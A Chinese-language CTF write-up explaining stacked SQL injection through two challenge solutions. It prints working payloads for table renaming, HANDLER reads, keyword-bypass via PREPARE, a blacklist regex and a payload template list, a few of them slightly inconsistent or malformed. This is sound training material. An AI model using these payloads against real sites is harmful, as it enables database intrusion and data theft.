从‘随便注’到‘Blacklist’:堆叠注入的实战进阶与深度对抗
在CTF竞赛的Web安全赛题中,SQL注入始终是最经典也最考验选手功底的题型之一。两道代表性题目——[强网杯2019]随便注和[GYCTF2020]Blacklist 1,恰好构成了堆叠注入技术从入门到精进的完美学习路径。本文将带您深入这两道题目的内核,不仅还原解题过程,更揭示其中渗透的Web安全对抗哲学。
1. 堆叠注入基础与随便注的经典解法
堆叠注入(Stacked Injection)作为SQL注入的高级形式,允许攻击者通过分号分隔执行多条SQL语句。这种技术在[强网杯2019]随便注中得到了典型展现。
首先通过基础探测确定注入点类型:
1' # 测试字符型注入 1' and 1=1 -- - # 确认闭合方式接下来使用堆叠查询枚举数据库结构:
1';show databases; -- - 1';show tables; -- -发现存在两个关键表:words和1919810931114514(后者命名显然是为了增加难度)。通过字段检查:
1';show columns from `words`; -- - 1';show columns from `1919810931114514`; -- -此时传统SELECT查询被过滤,但聪明的解法是利用表操作:
- 备份原表结构:确认words表包含id和data字段
- 重命名操作:
1';rename table `words` to `temp`; rename table `1919810931114514` to `words`; alter table `words` change `flag` `data` varchar(100); -- - - 触发查询:后续常规查询将直接返回flag
这种通过ALTER/RENAME绕过过滤的思路,展现了SQL注入中"曲线救国"的经典思维。但Blacklist题目将这种思路彻底封杀,迫使我们寻找更高级的解法。
2. Blacklist的过滤机制与突破路径
[GYCTF2020]Blacklist 1在随便注的基础上进行了全面升级。初始探测步骤相似:
1';show databases; -- - 1';show tables; -- - # 发现FlagHere表 1';show columns from FlagHere; -- - # 确认flag字段但当尝试使用RENAME/ALTER时,发现关键命令被过滤。通过代码审计(或错误回显)可发现过滤规则:
preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|./i",$inject);这个黑名单几乎封杀了所有常规注入手段。此时需要寻找非常规的SQL特性,这就是HANDLER命令的用武之地。
3. HANDLER命令的深度解析与应用
HANDLER是MySQL中一种比SELECT更底层的行读取接口,其特点包括:
- 绕过SELECT过滤:不在常见WAF监控范围内
- 直接访问存储引擎:性能更高,控制更细粒度
- 操作流程固定:OPEN→READ→CLOSE的标准流程
具体到本题的利用,构造如下攻击链:
1';handler FlagHere open; handler FlagHere read first; handler FlagHere close; -- -这个payload的执行逻辑是:
- 打开FlagHere表的句柄
- 读取第一行数据(通常就是flag)
- 关闭句柄释放资源
相比随便注的解法,HANDLER方式具有以下优势:
| 对比维度 | RENAME/ALTER解法 | HANDLER解法 |
|---|---|---|
| 命令复杂度 | 需要多步操作 | 单命令直接读取 |
| 被过滤风险 | 高 | 低 |
| 适用场景 | 需要写权限 | 只需读权限 |
| 对原数据影响 | 会修改表结构 | 完全无痕 |
4. 堆叠注入的进阶对抗思维
从这两道题目的演进,我们可以提炼出Web安全对抗的核心方法论:
信息收集阶段
- 确定注入类型(字符/数字型)
- 枚举数据库结构(show命令)
- 分析过滤规则(错误回显/代码审计)
绕过设计阶段
- 尝试常规绕过(大小写/注释)
- 寻找替代语法(HANDLER代替SELECT)
- 利用数据库特性(PREPARE动态执行)
最终利用阶段
- 选择最稳妥的利用方式
- 构造精准的payload
- 考虑对抗WAF的变形方案
在Blacklist这道题中,如果HANDLER也被过滤,还可以考虑以下进阶方案:
1';set @sql=concat('sel','ect flag from FlagHere');prepare stmt from @sql;execute stmt; -- -这种通过字符串拼接+预处理语句的方式,能绕过大多数基于关键词的过滤系统。
5. 实战中的注意事项与技巧
在真实CTF竞赛或渗透测试中,堆叠注入的利用还需要注意:
- 权限限制:某些环境下堆叠查询可能被禁用
- 错误处理:合理利用错误回显获取信息
- 盲注场景:当堆叠查询无回显时,需要结合时间盲注
- WAF绕过:使用注释符和特殊编码规避检测
一个实用的技巧是保存常用payload模板:
# 堆叠注入探测模板 payloads = [ "';show databases -- -", "';show tables -- -", "';show columns from `table_name` -- -", "';handler `table_name` open; read first; close -- -" ]在靶场练习时,建议先系统测试各种SQL语句的过滤情况,制作自己的"命令白名单",这对比赛中的快速解题至关重要。